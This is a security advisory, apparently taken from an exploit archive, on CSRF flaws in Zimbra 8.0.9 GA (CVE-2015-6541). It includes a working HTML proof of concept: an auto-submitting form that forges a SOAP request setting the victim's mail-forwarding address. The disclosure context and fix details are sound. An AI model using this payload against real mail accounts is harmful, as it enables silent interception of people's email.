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Zimbra 8.0.9 GA - Cross-Site Request Forgery
Author
Risk
[Security Risk Low
]0day-ID
Category
Date add
CVE
Platform
======================================
Multiple CSRF in Zimbra Mail interface
======================================
CVE-2015-6541
Description
===========
Multiple CSRF vulnerabilities have been found in the Mail interface of
Zimbra 8.0.9 GA Release, enabling to change account
preferences like e-mail forwarding.
CSRF
====
Forms in the preferences part of old releases of Zimbra are vulnerable
to CSRF because of the lack of a CSRF token identifying a valid session.
As a consequence, requests can be forged and played arbitrarily.
**Access Vector**: remote
**Security Risk**: low
**Vulnerability**: CWE-352
**CVSS Base score**: 5.8
----------------
Proof of Concept
----------------
<html>
<body>
<form enctype="text/plain" id="trololo"
action="https://192.168.0.171/service/soap/BatchRequest" method="POST">
<input name='<soap:Envelope
xmlns:soap="http://www.w3.org/2003/05/soap-envelope"><soap:Header><context
xmlns="urn:zimbra"><userAgent xmlns="" name="ZimbraWebClient - FF38
(Win)" version="8.0.9_GA_6191"/><session xmlns="" id="19"/><account
xmlns="" by="name">anto@mail.ubuntu.fr</account><format xmlns=""
type="js"/></context></soap:Header><soap:Body><BatchRequest
xmlns="urn:zimbra" onerror="stop"><ModifyPrefsRequest
xmlns="urn:zimbraAccount" requestId="0"><pref xmlns=""
name="zimbraPrefMailForwardingAddress">itworks@ubuntu.fr</pref></ModifyPrefsRequest><a
xmlns="" n'
value='"sn">itworks</a></BatchRequest></soap:Body></soap:Envelope>'/>
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
Solution
========
Sensitive forms should be protected by a CSRF token.
Fixes
=====
Fixed with 8.5 release : bug 83547
(https://wiki.zimbra.com/wiki/Security/Collab/86#Notes_from_8.5)
Affected versions
=================
* Zimbra <= 8.0.9 GA Release
# 0day.today [2024-11-15] #